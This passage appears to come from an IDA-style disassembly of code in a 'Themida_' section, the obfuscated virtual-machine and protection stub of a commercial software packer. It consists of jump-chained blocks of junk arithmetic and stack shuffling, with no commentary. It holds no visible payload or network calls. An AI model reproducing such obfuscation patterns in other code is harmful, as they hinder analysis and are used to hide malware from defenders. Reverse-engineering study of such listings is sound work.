loc_5A03C5:				; CODE XREF: Themida_:005A2286j
		push	ebx
		jmp	loc_5A91A7
; ---------------------------------------------------------------------------


loc_5A03CB:				; CODE XREF: Themida_:005A77BEj
		mov	ecx, 0FFFFFFFFh
		sub	edi, ecx
		pop	ecx
		jmp	loc_5A8AA4
; ---------------------------------------------------------------------------


loc_5A03D8:				; CODE XREF: Themida_:005A030Aj
		push	edx
		push	eax
		mov	al, 49h
		dec	al
		jmp	loc_598C34
; ---------------------------------------------------------------------------


loc_5A03E3:				; CODE XREF: Themida_:0059DC14j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59F4AB
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_5AA268
; ---------------------------------------------------------------------------


loc_5A0421:				; CODE XREF: Themida_:0059F49Bj
					; Themida_:005A5337j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59CEC1
; ---------------------------------------------------------------------------


loc_5A0433:				; CODE XREF: Themida_:005A9474j
		pop	ecx
		push	6EECh
		jmp	loc_59EF40
; ---------------------------------------------------------------------------


loc_5A043E:				; CODE XREF: Themida_:005AB313j
		pop	esp
		push	0C43h
		mov	[esp], ebx
		mov	ebx, 65DA33CEh
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	8A7h
		jmp	loc_5ACC52
; ---------------------------------------------------------------------------


loc_5A045C:				; CODE XREF: Themida_:0059F94Cj
		shr	ebx, 5
		add	ebx, 77093D03h
		neg	ebx
		sub	ebx, 0FFFFFFFFh
		add	ebx, 797B185Fh
		add	edx, 7F3B5307h
		jmp	loc_5AB8F0
; ---------------------------------------------------------------------------


loc_5A047B:				; CODE XREF: Themida_:0059DFF1j
					; Themida_:0059F9C2j
		mov	ecx, 0
		jmp	loc_5986DF
; ---------------------------------------------------------------------------


loc_5A0485:				; CODE XREF: Themida_:0059DE18j
		add	edx, 44F93754h
		push	6ECEh
		mov	[esp], esi
		pop	dword ptr [edx]
		mov	edx, [esp]
		add	esp, 4
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_59AF30
; ---------------------------------------------------------------------------


loc_5A04A9:				; CODE XREF: Themida_:005A21D2j
		push	ecx
		mov	ecx, 608C2772h
		shr	ecx, 4
		add	ecx, 78650FA3h
		inc	ecx
		jmp	loc_5AB2C7
; ---------------------------------------------------------------------------


loc_5A04BE:				; CODE XREF: Themida_:00598718j
		mov	dh, bh
		pop	ebx
		sub	al, dh
		pop	edx
		push	cx
		mov	cl, 2Eh
		sub	al, 90h
		sub	al, cl
		add	al, 90h
		jmp	loc_5A84DA
; ---------------------------------------------------------------------------


loc_5A04D3:				; CODE XREF: Themida_:00598C3Dj
		neg	al
		add	al, 90h
		mov	dl, al
		pop	eax
		jmp	loc_5A422C
; ---------------------------------------------------------------------------


loc_5A04DF:				; CODE XREF: Themida_:005A2515j
		push	4F12h
		mov	[esp], edx
		mov	edx, 41787CB0h
		jmp	loc_5A8CDF
; ---------------------------------------------------------------------------


loc_5A04F1:				; CODE XREF: Themida_:0059CE5Cj
					; Themida_:0059D25Cj
		push	5ECAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		push	esp
		pop	esi
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_5AD4D2
; ---------------------------------------------------------------------------


loc_5A051F:				; CODE XREF: Themida_:005988D4j
		add	esp, 4
		push	edi
		jmp	loc_5A7283
; ---------------------------------------------------------------------------


loc_5A052B:				; CODE XREF: Themida_:0059F65Dj
		push	edi
		sub	esp, 4
		jmp	loc_5AE846
; ---------------------------------------------------------------------------


loc_5A0537:				; CODE XREF: Themida_:0059CEA2j
		neg	edx
		add	edx, 0DC62CE10h
		sub	ebp, edx
		pop	edx
		sub	ebx, 4DAF0625h
		jmp	loc_5A5944
; ---------------------------------------------------------------------------


loc_5A054D:				; CODE XREF: Themida_:005988F2j
		add	esp, 4
		mov	cl, bh
		pop	ebx
		jmp	loc_59935F
; ---------------------------------------------------------------------------


loc_5A055B:				; CODE XREF: Themida_:00599591j
					; Themida_:0059F290j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4


loc_5A0562:				; CODE XREF: Themida_:0059D8C8j
		sub	esp, 4
		jmp	loc_59D7D7
; ---------------------------------------------------------------------------


loc_5A056D:				; CODE XREF: Themida_:005AF416j
		push	ebp
		pop	edx
		pop	ebp
		not	ebp
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		not	edx
		sub	edx, 2EED2DFCh
		sub	esi, 54DF5624h
		add	esi, edx
		push	edx
		mov	edx, 54DF5624h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		pop	edx
		xchg	esi, [esp]
		jmp	loc_5A8362
; ---------------------------------------------------------------------------


loc_5A05AA:				; CODE XREF: Themida_:005A57A1j
		mov	eax, [esp]
		jmp	loc_5A6115
; ---------------------------------------------------------------------------


loc_5A05B2:				; CODE XREF: Themida_:005A0E6Fj
		shr	edi, 8
		jp	loc_5ADBEA
		add	edi, 1B748BEFh
		sub	edi, 4E284FD3h
		not	edi
		not	edi
		neg	edi
		sub	edi, 7E9365Fh
		sub	edi, 2A9B9C13h
		jmp	loc_5A1375
; ---------------------------------------------------------------------------


loc_5A05DE:				; CODE XREF: Themida_:005A3045j
		mov	[esp], eax
		push	4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A3595
; ---------------------------------------------------------------------------


loc_5A05F4:				; CODE XREF: Themida_:005A3698j
		jmp	loc_59D306
; ---------------------------------------------------------------------------


loc_5A05F9:				; CODE XREF: Themida_:0059EB87j
		pop	edx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5AAC3A
; ---------------------------------------------------------------------------


loc_5A0608:				; CODE XREF: Themida_:0059C53Aj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5AA2D1
; ---------------------------------------------------------------------------


loc_5A0615:				; CODE XREF: Themida_:005AD533j
		push	4E58h
		jmp	loc_59FFEB
; ---------------------------------------------------------------------------


loc_5A061F:				; CODE XREF: Themida_:0059875Cj
					; Themida_:005A282Fj
		push	dword ptr [esp]
		jmp	loc_5AC49E
; ---------------------------------------------------------------------------


loc_5A0627:				; CODE XREF: Themida_:005A8EAFj
		pop	ebx
		jmp	loc_59FF89
; ---------------------------------------------------------------------------


loc_5A062D:				; CODE XREF: Themida_:00599276j
		xor	[ebx], ebp
		pop	ebx
		pop	ebp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 49BF324Fh
		shr	ebp, 4
		push	ebx
		mov	ebx, 7CA3774Eh
		jmp	loc_5AD9C4
; ---------------------------------------------------------------------------


loc_5A0659:				; CODE XREF: Themida_:loc_5A4498j
		shl	esi, 5
		jnp	loc_5A07E6
		jmp	loc_5A3C70
; ---------------------------------------------------------------------------
		pop	edx
		push	eax
		mov	ah, 0D6h


loc_5A066C:				; CODE XREF: Themida_:0059ACF3j
		add	edx, ebx
		jmp	loc_5AB9FB
; ---------------------------------------------------------------------------


loc_5A0673:				; CODE XREF: Themida_:005A3EACj
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5A2EC6
; ---------------------------------------------------------------------------


loc_5A067F:				; CODE XREF: Themida_:005A0FB3j
		neg	al
		add	al, 9Eh
		jmp	loc_5A524D
; ---------------------------------------------------------------------------


loc_5A0688:				; CODE XREF: Themida_:005ADB5Fj
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A1C97
; ---------------------------------------------------------------------------


loc_5A069D:				; CODE XREF: Themida_:0059EE78j
		pop	esi
		pop	edx
		push	630Fh
		mov	[esp], esi
		push	1B99h
		mov	[esp], ebp
		pop	esi
		pop	ebp
		not	ebp
		xchg	ebp, esi
		xchg	ecx, esi
		not	ecx
		jmp	loc_5AD303
; ---------------------------------------------------------------------------


loc_5A06BE:				; CODE XREF: Themida_:0059B40Fj
					; Themida_:0059FC82j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_5AC725
; ---------------------------------------------------------------------------


loc_5A06CB:				; CODE XREF: Themida_:0059FFA7j
		jno	loc_598802
		sub	esi, 58FCF9A3h
		mov	ebp, edx
		mov	esi, ecx


loc_5A06DB:				; CODE XREF: Themida_:005AF19Dj
		mov	esi, [esp]
		jmp	loc_5AB7A3
; ---------------------------------------------------------------------------


loc_5A06E3:				; CODE XREF: Themida_:0059B8A2j
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A95EB
; ---------------------------------------------------------------------------


loc_5A06F0:				; CODE XREF: Themida_:0059CD20j
		shr	eax, 8
		neg	eax
		jz	loc_598917
		xor	eax, 0F86E6651h
		push	edi
		mov	edi, eax
		mov	ebx, edi
		pop	edi
		mov	eax, [esp]
		jmp	loc_5A6F5C
; ---------------------------------------------------------------------------


loc_5A070E:				; CODE XREF: Themida_:005AC16Aj
		push	edx
		mov	edx, 72F90669h
		add	eax, edx
		pop	edx
		sub	eax, 6AA14952h
		add	eax, ecx
		add	eax, 6AA14952h
		jmp	loc_5A70C2
; ---------------------------------------------------------------------------


loc_5A0728:				; CODE XREF: Themida_:005AB19Cj
		jmp	loc_5A0BD8
; ---------------------------------------------------------------------------


loc_5A072D:				; CODE XREF: Themida_:005ACA25j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	5E47h
		jmp	loc_5A7EE7
; ---------------------------------------------------------------------------


loc_5A0744:				; CODE XREF: Themida_:005AD96Aj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AD9E4
; ---------------------------------------------------------------------------


loc_5A074D:				; CODE XREF: Themida_:005A987Fj
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		push	33Bh
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_5990F2
; ---------------------------------------------------------------------------


loc_5A0777:				; CODE XREF: Themida_:005A39E6j
		pop	esp
		push	edi
		mov	edi, 25382AA9h
		jmp	loc_5AB49A
; ---------------------------------------------------------------------------


loc_5A0783:				; CODE XREF: Themida_:005ABFF9j
		pop	esi
		add	esp, 4
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_5A721E
; ---------------------------------------------------------------------------


loc_5A0799:				; CODE XREF: Themida_:0059B3B4j
		add	eax, edi
		jmp	loc_5AB5EE
; ---------------------------------------------------------------------------


loc_5A07A0:				; CODE XREF: Themida_:005A6DBBj
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_59B3AF
; ---------------------------------------------------------------------------


loc_5A07A9:				; CODE XREF: Themida_:0059D64Aj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_5A5E39
; ---------------------------------------------------------------------------


loc_5A07BA:				; CODE XREF: Themida_:005A9904j
		add	edx, 4
		jmp	loc_5ABF88
; ---------------------------------------------------------------------------


loc_5A07C5:				; CODE XREF: Themida_:005ACABFj
		add	ah, 10h
		push	edx
		mov	dl, ah
		jmp	loc_59B198
; ---------------------------------------------------------------------------


loc_5A07D0:				; CODE XREF: Themida_:0059FA84j
					; Themida_:005A8805j ...
		add	ecx, 0DE439C4Fh
		jmp	loc_5AA0F8
; ---------------------------------------------------------------------------


loc_5A07DB:				; CODE XREF: Themida_:005A3CBEj
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5AA46E
; ---------------------------------------------------------------------------


loc_5A07E6:				; CODE XREF: Themida_:005A065Cj
		jmp	loc_5A6347
; ---------------------------------------------------------------------------


loc_5A07EB:				; CODE XREF: Themida_:005AEDBEj
		pop	edx
		push	eax
		mov	eax, 0
		add	eax, 6FE204Fh
		add	eax, ebx
		sub	eax, 6FE204Fh
		push	dword ptr [eax]
		push	24CBh
		jmp	loc_59A0D2
; ---------------------------------------------------------------------------


loc_5A080A:				; CODE XREF: Themida_:0059A5ADj
		or	cl, bl
		pop	ebx
		sub	cl, 0CBh
		jmp	loc_5ADA67
; ---------------------------------------------------------------------------


loc_5A0815:				; CODE XREF: Themida_:005A7E07j
		push	ebx
		jmp	loc_59CB0C
; ---------------------------------------------------------------------------


loc_5A081B:				; CODE XREF: Themida_:005AE2A9j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		movzx	cx, al
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_5A17EF
; ---------------------------------------------------------------------------


loc_5A0837:				; CODE XREF: Themida_:005A62D5j
		add	esp, 4
		or	eax, eax
		jnz	loc_59CA19
		mov	edx, 56E45881h
		dec	edx
		jmp	loc_5A1F7A
; ---------------------------------------------------------------------------


loc_5A084D:				; CODE XREF: Themida_:005A7F2Ej
		sub	esi, 0FFFFFFFFh
		jmp	loc_59EEFD
; ---------------------------------------------------------------------------


loc_5A0855:				; CODE XREF: Themida_:0059CA42j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A085A:				; CODE XREF: Themida_:005A7088j
		jg	loc_5AA584
		neg	ebp
		jbe	loc_59CB05
		jmp	loc_59D98B
; ---------------------------------------------------------------------------


loc_5A086D:				; CODE XREF: Themida_:005AE60Bj
		add	edx, esi
		add	edx, 77427A6h
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5A7A8B
; ---------------------------------------------------------------------------


loc_5A088F:				; CODE XREF: Themida_:005A4FAAj
		push	esp
		jmp	loc_5A9E5F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	0B7Dh
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	4637h
		mov	[esp], eax
		push	2EDF1025h
		pop	eax
		jmp	loc_5A52A8
; ---------------------------------------------------------------------------


loc_5A08B6:				; CODE XREF: Themida_:005AE50Bj
		mov	fs:[edx], al
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A08BE:				; CODE XREF: Themida_:0059D127j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59E827
; ---------------------------------------------------------------------------


loc_5A08C7:				; CODE XREF: Themida_:005995FCj
					; Themida_:005AA7A8j
		push	ecx
		jmp	loc_59DA12
; ---------------------------------------------------------------------------


loc_5A08CD:				; CODE XREF: Themida_:005A248Aj
					; Themida_:005A2ED6j
		pop	esp
		jmp	loc_5AD8CE
; ---------------------------------------------------------------------------


loc_5A08D3:				; CODE XREF: Themida_:005AD640j
		xor	eax, ecx
		jmp	loc_5ABDA1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	517Bh
		jmp	loc_5A531E
; ---------------------------------------------------------------------------


loc_5A08EA:				; CODE XREF: Themida_:005A33BBj
		pop	esi
		push	ebp
		jmp	loc_5A6D7F
; ---------------------------------------------------------------------------


loc_5A08F1:				; CODE XREF: Themida_:0059E9EEj
					; Themida_:005A4FD4j
		push	edx
		push	2FFA2005h
		jmp	loc_5AB3B3
; ---------------------------------------------------------------------------


loc_5A08FC:				; CODE XREF: Themida_:005AD29Cj
		shl	ebx, 6
		and	ebx, 2AAC54DBh
		shr	ebx, 2
		sub	ebx, 0FDBFF5B1h
		jmp	loc_5AD208
; ---------------------------------------------------------------------------


loc_5A0913:				; CODE XREF: Themida_:0059A43Fj
		inc	ebx
		js	loc_59D26F
		xor	ebx, 9C84D652h
		mov	ebp, ebx
		mov	ebx, [esp]


loc_5A0925:				; CODE XREF: Themida_:005A1FA8j
					; Themida_:005AD984j
		push	edx
		mov	edx, 42861F9Ch
		jmp	loc_5A5310
; ---------------------------------------------------------------------------


loc_5A0930:				; CODE XREF: Themida_:0059D2D6j
		xor	dl, 0A9h
		jmp	loc_5AD92A
; ---------------------------------------------------------------------------


loc_5A0938:				; CODE XREF: Themida_:005A6B48j
		pop	ebp
		sub	ebx, edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7F1A39A2h
		neg	ebp
		xor	ebp, 48784FC6h
		jge	loc_5A8D08
		dec	ebp
		jo	loc_5A4C04
		or	ebp, 0DF93974h
		jp	loc_59B666
		neg	ebp
		jg	loc_5AEB97
		push	ecx
		mov	ecx, 3C91C503h
		add	ebp, ecx
		pop	ecx
		xchg	esi, ebp


loc_5A097D:				; CODE XREF: Themida_:00598449j
		pop	eax
		jmp	loc_5A5A5A
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		sub	eax, 35781730h
		add	eax, ecx
		add	eax, 35781730h
		pop	ecx
		jmp	loc_5A1063
; ---------------------------------------------------------------------------


loc_5A09A1:				; CODE XREF: Themida_:0059C1F1j
		pop	edx
		xor	edx, 0E438F93Eh
		push	2B78h
		mov	[esp], ebx
		mov	ebx, edx
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5A6B63
; ---------------------------------------------------------------------------


loc_5A09BA:				; CODE XREF: Themida_:0059BAC7j
		add	ebp, 34D451DBh
		sub	ebp, 51F302EFh
		shl	ebp, 4
		sub	ebp, 1
		sub	ebp, 0FFFFFFFFh
		jmp	loc_59E7F9
; ---------------------------------------------------------------------------


loc_5A09D7:				; CODE XREF: Themida_:005989A1j
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		sub	esi, 8BAB961Eh
		xor	ecx, esi
		pop	esi
		xor	ebx, ecx
		pop	ecx
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	365Ch
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5A229D
; ---------------------------------------------------------------------------


loc_5A0A05:				; CODE XREF: Themida_:005AC2AAj
					; Themida_:loc_5AD790j
		shr	ebp, 2
		jz	loc_5A02B2
		shr	ebp, 1
		jmp	loc_5AB2C7
; ---------------------------------------------------------------------------


loc_5A0A15:				; CODE XREF: Themida_:005ABBDEj
					; Themida_:005AD80Aj
		not	esi
		sub	esi, 0E4F4A5DDh
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A81F8
; ---------------------------------------------------------------------------


loc_5A0A2F:				; CODE XREF: Themida_:0059946Dj
					; Themida_:0059B141j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5AEE14
; ---------------------------------------------------------------------------


loc_5A0A43:				; CODE XREF: Themida_:0059D488j
		not	ecx
		dec	ecx
		jmp	loc_5A0B6A
; ---------------------------------------------------------------------------


loc_5A0A4B:				; CODE XREF: Themida_:005AAEB5j
		sub	edi, ebx
		pop	ebx
		sub	ebx, 4B0436E3h
		push	eax
		push	esi
		push	2611541Eh
		pop	esi
		shr	esi, 5
		xor	esi, 16CA010Dh
		jmp	loc_5AF3E4
; ---------------------------------------------------------------------------


loc_5A0A6A:				; CODE XREF: Themida_:0059B2A3j
		mov	edx, esp
		jmp	loc_59959F
; ---------------------------------------------------------------------------


loc_5A0A71:				; CODE XREF: Themida_:005AEB47j
		add	ebx, 0A7672EEh
		jno	loc_5A7D38
		jmp	loc_59A2CD
; ---------------------------------------------------------------------------
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 4
		mov	ch, al


loc_5A0A8C:				; CODE XREF: Themida_:005ACF89j
		sub	ebx, 0A845715h
		push	ebx
		jmp	loc_59D5FF
; ---------------------------------------------------------------------------


loc_5A0A98:				; CODE XREF: Themida_:005A7C84j
		push	edi
		jmp	loc_5AA3C1
; ---------------------------------------------------------------------------


loc_5A0A9E:				; CODE XREF: Themida_:005A5062j
		add	ebx, 4
		jmp	loc_5AEA23
; ---------------------------------------------------------------------------


loc_5A0AA9:				; CODE XREF: Themida_:005A4F3Cj
		pop	edi
		pop	eax
		neg	esi
		jno	loc_5A58E2
		sub	esi, 0FFFFFFFFh
		xor	esi, 0E553FE8Ah
		xor	eax, esi
		mov	esi, [esp]


loc_5A0AC1:				; CODE XREF: Themida_:005AAF52j
		xor	edx, 1009146Fh
		jns	loc_5AD93D
		shl	edx, 3
		jmp	loc_59A42C
; ---------------------------------------------------------------------------
		add	esp, 4


loc_5A0AD8:				; CODE XREF: Themida_:00598720j
		shl	ah, 6
		sub	ah, 8Ah
		jns	loc_5A7A5C
		jmp	loc_5A908E
; ---------------------------------------------------------------------------
		sub	ebx, 140148EAh


loc_5A0AEF:				; CODE XREF: Themida_:005A8C32j
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	ah, 3Bh
		mov	ch, 70h
		xor	ch, ah
		jmp	loc_599B5E
; ---------------------------------------------------------------------------
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	ecx
		pop	edi
		pop	ecx
		xor	ecx, ebx
		xor	ebx, ecx
		xor	ecx, ebx
		jmp	loc_5AD65B
; ---------------------------------------------------------------------------


loc_5A0B2B:				; CODE XREF: Themida_:0059A9E8j
		jmp	loc_5AAC5F
; ---------------------------------------------------------------------------


loc_5A0B30:				; CODE XREF: Themida_:005A6A20j
		mov	ecx, [esp]
		jmp	loc_59AFCE
; ---------------------------------------------------------------------------


loc_5A0B38:				; CODE XREF: Themida_:005ABD39j
		sub	eax, 2E8A5AE4h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59B9DD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A42DB
; ---------------------------------------------------------------------------


loc_5A0B6A:				; CODE XREF: Themida_:005A0A46j
		not	ecx
		shr	ecx, 1
		jmp	loc_59A21A
; ---------------------------------------------------------------------------


loc_5A0B73:				; CODE XREF: Themida_:00599691j
		jz	loc_5A9805
		xor	esi, 2D21BCABh
		push	4BBDh
		mov	[esp], eax
		push	esi
		add	dword ptr [esp], 23652598h
		pop	eax
		jmp	loc_59C4A3
; ---------------------------------------------------------------------------


loc_5A0B95:				; CODE XREF: Themida_:005A9403j
		pop	ebx
		xor	dh, bh
		xor	bh, dh
		xor	dh, bh
		push	cx
		mov	cl, bh
		not	cl
		mov	bh, cl
		mov	cx, [esp]
		add	esp, 2
		xchg	bh, dh
		jmp	loc_59C0E4
; ---------------------------------------------------------------------------


loc_5A0BB2:				; CODE XREF: Themida_:005AD8E9j
		add	[esp+8], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5A297C
; ---------------------------------------------------------------------------


loc_5A0BC5:				; CODE XREF: Themida_:0059B5D8j
		add	ecx, 9470C21h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		jmp	loc_59D9B4
; ---------------------------------------------------------------------------


loc_5A0BD8:				; CODE XREF: Themida_:loc_5A0728j
		shl	edi, 2
		jmp	loc_5A2255
; ---------------------------------------------------------------------------


loc_5A0BE0:				; CODE XREF: Themida_:0059AB87j
		mov	dl, cl
		mov	ecx, [esp]
		add	esp, 4
		shl	dl, 8
		push	bx
		push	edx
		mov	dh, 0C4h
		mov	bl, 0BFh
		add	bl, dh
		pop	edx
		jmp	loc_599676
; ---------------------------------------------------------------------------


loc_5A0BFD:				; CODE XREF: Themida_:005A0295j
					; Themida_:005AAFEDj
		inc	ebp
		jmp	loc_5AEFA8
; ---------------------------------------------------------------------------


loc_5A0C03:				; CODE XREF: Themida_:0059CEEAj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5AEA15
; ---------------------------------------------------------------------------


loc_5A0C0F:				; CODE XREF: Themida_:005A499Ej
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59BB9C
; ---------------------------------------------------------------------------


loc_5A0C1D:				; CODE XREF: Themida_:0059CDEDj
		push	edi
		push	56C80759h
		jmp	loc_59D096
; ---------------------------------------------------------------------------


loc_5A0C28:				; CODE XREF: Themida_:0059CF06j
		push	eax
		mov	al, 0D4h
		add	cl, al
		jmp	loc_59EA91
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	ebx
		mov	ebx, esp
		push	ecx
		push	edi
		mov	edi, 15722BC3h
		mov	ecx, 15722BC7h
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_5AC22F
; ---------------------------------------------------------------------------


loc_5A0C58:				; CODE XREF: Themida_:005AF4E6j
		pop	esi
		push	ecx
		push	ebx
		mov	ebx, 304E7DEDh
		mov	ecx, ebx
		jmp	loc_59844E
; ---------------------------------------------------------------------------


loc_5A0C67:				; CODE XREF: Themida_:005A13E3j
		or	ebp, 3A534ADh
		push	0
		sub	[esp], ebp
		pop	ebp
		sub	ebp, 0D8004B0Fh
		push	ebp
		jmp	loc_5ABC48
; ---------------------------------------------------------------------------


loc_5A0C82:				; CODE XREF: Themida_:0059D7F8j
		push	ecx
		not	byte ptr [esp]
		jmp	loc_59C68B
; ---------------------------------------------------------------------------


loc_5A0C8B:				; CODE XREF: Themida_:005A1562j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_599129
; ---------------------------------------------------------------------------


loc_5A0C9F:				; CODE XREF: Themida_:005AC50Ej
		sub	esi, 8E85FFE9h
		mov	ebx, esi
		pop	esi
		jmp	loc_5A6E7A
; ---------------------------------------------------------------------------


loc_5A0CAD:				; CODE XREF: Themida_:0059ACA3j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59C7C9
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A883F
; ---------------------------------------------------------------------------


loc_5A0CC7:				; CODE XREF: Themida_:005A478Dj
		mov	ecx, 0B2973A0h
		push	edi
		mov	edi, 1BF6411Eh
		add	edi, 0F53DC723h
		mov	eax, edi
		pop	edi
		xor	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0
		sub	edi, eax
		xchg	eax, edi
		jmp	loc_5AD1B5
; ---------------------------------------------------------------------------


loc_5A0CF1:				; CODE XREF: Themida_:005A7390j
		inc	esi
		jmp	loc_5AE7F1
; ---------------------------------------------------------------------------


loc_5A0CF7:				; CODE XREF: Themida_:005A910Cj
		mov	ebp, 1D1A0CF4h
		xor	ebp, ebx
		pop	ebx
		sub	[esp+4], ebp
		mov	ebp, [esp]
		push	ecx
		jmp	loc_5A405D
; ---------------------------------------------------------------------------


loc_5A0D0C:				; CODE XREF: Themida_:005AA26Ej
		xor	ebx, [esp]
		pop	esp
		add	esi, 4
		push	edx
		mov	edx, 4BBB4B83h
		shr	edx, 3
		shl	edx, 5
		jmp	loc_5AF415
; ---------------------------------------------------------------------------


loc_5A0D27:				; CODE XREF: Themida_:005AE26Fj
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 312F1C5Fh
		sub	eax, 6218252h
		jmp	loc_5A27D5
; ---------------------------------------------------------------------------


loc_5A0D40:				; CODE XREF: Themida_:00599538j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59950A
; ---------------------------------------------------------------------------


loc_5A0D4E:				; CODE XREF: Themida_:0059D354j
		pop	esp
		add	eax, ebx
		push	ebx
		push	esi
		push	57F048CDh
		pop	esi
		sub	esi, 4820CB06h
		jmp	loc_5ACAD0
; ---------------------------------------------------------------------------


loc_5A0D64:				; CODE XREF: Themida_:0059BDFAj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59C426
; ---------------------------------------------------------------------------


loc_5A0D6F:				; CODE XREF: Themida_:005AB495j
		inc	bh
		push	eax
		mov	eax, esp
		jmp	loc_5A896B
; ---------------------------------------------------------------------------


loc_5A0D79:				; CODE XREF: Themida_:005A9048j
		pop	eax
		jmp	loc_5A87B0
; ---------------------------------------------------------------------------


loc_5A0D7F:				; CODE XREF: Themida_:0059B8DFj
		push	esp
		pop	ebp
		jmp	loc_5A9793
; ---------------------------------------------------------------------------


loc_5A0D86:				; CODE XREF: Themida_:005A4582j
		add	eax, 56A27872h
		add	eax, esi
		sub	eax, 56A27872h
		pop	esi
		push	6053h
		mov	[esp], eax
		push	eax
		mov	eax, 226E73DCh
		xor	[esp+4], eax
		pop	eax
		pop	ebp
		jmp	loc_59A6F8
; ---------------------------------------------------------------------------


loc_5A0DAC:				; CODE XREF: Themida_:0059A04Fj
		mov	ecx, 2
		add	eax, ecx
		jmp	loc_5A3544
; ---------------------------------------------------------------------------


loc_5A0DB8:				; CODE XREF: Themida_:005AE302j
		inc	eax
		jmp	loc_5A562A
; ---------------------------------------------------------------------------


loc_5A0DBE:				; CODE XREF: Themida_:0059944Aj
		pop	edx
		jmp	loc_598584
; ---------------------------------------------------------------------------


loc_5A0DC4:				; CODE XREF: Themida_:005A3AFCj
		and	eax, 6E370A4Bh
		jmp	loc_5AA39F
; ---------------------------------------------------------------------------


loc_5A0DCE:				; CODE XREF: Themida_:0059A41Bj
		add	eax, 494674CCh
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5A0029
; ---------------------------------------------------------------------------


loc_5A0DDF:				; CODE XREF: Themida_:005ACE23j
		pop	esp
